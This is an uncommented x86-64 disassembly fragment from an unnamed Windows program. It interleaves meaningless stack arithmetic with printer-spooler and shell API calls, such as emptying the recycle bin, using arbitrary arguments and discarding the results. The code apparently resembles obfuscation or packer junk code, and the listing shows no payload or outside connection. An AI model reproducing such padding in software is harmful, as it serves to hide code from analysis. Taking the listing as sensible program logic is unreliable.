mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x10440]
mov qword [rcx], rax
mov rax, qword [0x140221d90]
mov rcx, qword [rsp + 0xdac0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2f0], rax
movsx eax, word [rsp + 0x2904]
movsx ecx, word [rsp + 0x2908]
and eax, ecx
mov word [rsp + 0x1d1c], ax
movzx eax, byte [rsp + 0xc0]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140221da0], al
lea rax, [rsp + 0x10710]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xe0
lea rax, [rsp + 0x10388]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2910]
mov r8, qword [rsp + 0x10490]
mov rdx, qword [rsp + 0x10428]
mov rcx, qword [rsp + 0x10420]
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rsp + 0x7f54], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f54]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7f4c], eax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2708], ax
movsx eax, word [rsp + 0x2910]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x103d0]
mov word [rcx], ax
lea rax, [rsp + 0x102c0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x72
lea r9, [rsp + 0x102d8]
mov r8d, 0x1d
mov rdx, qword [rsp + 0x23b88]
mov rcx, qword [rsp + 0x10360]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x7f88], eax
mov rax, qword [rsp + 0x10208]
mov edx, dword [rax]
movzx ecx, word [0x140211390]
call fcn.1401f4e00
mov rax, qword [rsp + 0xcf70]
mov rcx, qword [rsp + 0x10310]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10358]
mov qword [rcx], rax
mov dword [rsp + 0x28], 0xa1
lea rax, [rsp + 0x8040]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
mov r8, qword [rsp + 0x104d8]
mov rdx, qword [rsp + 0x10800]
mov rcx, qword [rsp + 0x10430]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x7f4c], eax
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fa8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8040], eax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xda48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x101c8], rax
mov dword [rsp + 0x20], 0xf3
lea r9, [rsp + 0x80d0]
mov r8d, 0xfe
lea rdx, [rsp + 0x102e8]
mov rcx, qword [rsp + 0x10430]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x7fd4], eax
movzx eax, word [0x14021139c]
movzx ecx, word [rsp + 0x2914]
add eax, ecx
mov word [rsp + 0x14c4], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc0]
add eax, ecx
mov byte [rsp + 0x56f], al
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd518]
add rcx, rax
mov rax, rcx
mov qword [0x140221d90], rax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2694], ax
mov eax, dword [rsp + 0x8040]
mov ecx, dword [rsp + 0x787c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
mov r8, qword [rsp + 0x23b88]
mov rdx, qword [rsp + 0x107b8]
mov rcx, qword [rsp + 0x104d8]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x7fb4], eax
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0xda48]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x101c8], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f54]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7f4c], eax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2910]
sub eax, ecx
mov word [rsp + 0x2904], ax
lea rax, [rsp + 0x10258]
mov qword [rsp + 0x20], rax
mov r9d, ILGetNext
mov r8, qword [rsp + 0x104d8]
mov rdx, qword [rsp + 0x10330]
mov rcx, qword [rsp + 0x10420]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x7f54], eax
jmp 0x1401f4799
lea r8, [rsp + 0x10258]
mov rdx, qword [rsp + 0x104d8]
mov rcx, qword [rsp + 0x102c0]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov qword [rsp + 0x10710], rax
mov rax, qword [rsp + 0x10228]
mov rcx, qword [rsp + 0x101c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f8c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x101d0]
mov rcx, qword [rsp + 0x10210]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140211398], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [0x140221da0]
add eax, ecx
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
movzx ecx, word [rsp + 0x2708]
call fcn.1401f4e90
movsx eax, byte [rsp + 0x56b]
movsx ecx, byte [0x140211038]
sub eax, ecx
mov byte [rsp + 0x1c3], al
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28fc]
sub eax, ecx
mov word [rsp + 0x2708], ax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28f8]
add eax, ecx
mov word [rsp + 0x28e4], ax
call fcn.1401f4c40
jmp 0x1401f4887
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fcc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fa8], eax
movsx eax, byte [rsp + 0x56c]
movsx ecx, byte [rsp + 0x56e]
add eax, ecx
mov byte [rsp + 0x1c3], al
mov rax, qword [rsp + 0xda48]
mov rcx, qword [rsp + 0x10228]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x101c8], rax
mov r8d, 0xd5
mov rdx, qword [rsp + 0x10428]
mov rcx, qword [rsp + 0x10328]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
mov dword [rsp + 0x80d0], eax
movzx eax, word [0x140211390]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x28d8], ax
lea r9, [rsp + 0x7f70]
lea r8, [rsp + 0x27ec0]
lea rdx, [rsp + 0x56e]
mov rcx, qword [rsp + 0x104c0]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [rsp + 0x7fd4], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f54]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x10208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10208]
mov edx, dword [rax]
mov rax, qword [rsp + 0x101f0]
movzx ecx, word [rax]
call fcn.1401f4e00
jmp 0x1401f498f
mov rax, qword [rsp + 0xda48]
mov rcx, qword [rsp + 0x101c8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov eax, dword [rsp + 0x7fa8]
movzx ecx, al
mov eax, dword [rsp + 0x7f70]
shl eax, cl
mov dword [rsp + 0x7fcc], eax
mov eax, dword [rsp + 0x7f8c]
mov rcx, qword [rsp + 0x10208]
mov qword [rsp + 0x23bb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x23bb8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x7f54], eax
movzx eax, word [rsp + 0x28d8]
movzx ecx, word [rsp + 0x28f0]
or eax, ecx
mov word [rsp + 0x2708], ax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x28f0], ax
movsx eax, byte [rsp + 0x56b]
movsx ecx, byte [rsp + 0x56e]
sub eax, ecx
mov byte [rsp + 0x1c3], al
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [0x140221da0]
sub eax, ecx
mov byte [rsp + 0x56d], al
movzx eax, byte [rsp + 0x56d]
movzx ecx, byte [rsp + 0xc0]
add eax, ecx
mov byte [0x140221da0], al
lea rax, [rsp + 0x102b8]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rsp + 0x27ec0]
lea rdx, [rsp + 0x107b8]
mov rcx, qword [rsp + 0x107b8]
call qword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [rsp + 0x8124], eax
mov edx, dword [rsp + 0x7fb8]
mov rax, qword [rsp + 0x101f0]
movzx ecx, word [rax]
call fcn.1401f4e00
jmp 0x1401f4a43
mov edx, dword [rsp + 0x7f54]
mov rax, qword [rsp + 0x101f0]
movzx ecx, word [rax]
call fcn.1401f4e00
movsx eax, word [rsp + 0x28dc]
movsx ecx, word [rsp + 0x28e4]
add eax, ecx
mov word [rsp + 0x1b14], ax
lea rcx, [rsp + 0x28d8]
call qword [sym.imp.SHELL32.dll_ILCloneFirst]
mov qword [rsp + 0x102b8], rax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56d]
sub eax, ecx
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x56f]
movzx ecx, byte [rsp + 0xc0]
add eax, ecx
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x28d8], ax
movsx eax, word [rsp + 0x28e4]
movsx ecx, word [rsp + 0x28dc]
xor eax, ecx
mov word [rsp + 0x1b14], ax
mov rax, qword [rsp + 0x10208]
mov edx, dword [rax]
mov rax, qword [rsp + 0x10220]
movzx ecx, word [rax]
call fcn.1401f4e00
mov eax, dword [rsp + 0x7f70]
sar eax, 4
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
lea r9, [rsp + 0x56c]
lea r8, [rsp + 0x7fb4]
lea rdx, [rsp + 0x7f54]
mov rcx, qword [rsp + 0x10738]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [rsp + 0x7fb4], eax
mov rax, qword [rsp + 0x101d0]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x7f54]
movzx ecx, word [0x140211390]
call fcn.1401f4f90
mov eax, dword [rsp + 0xa9c0]
add rsp, 0x28a60
pop rdi
ret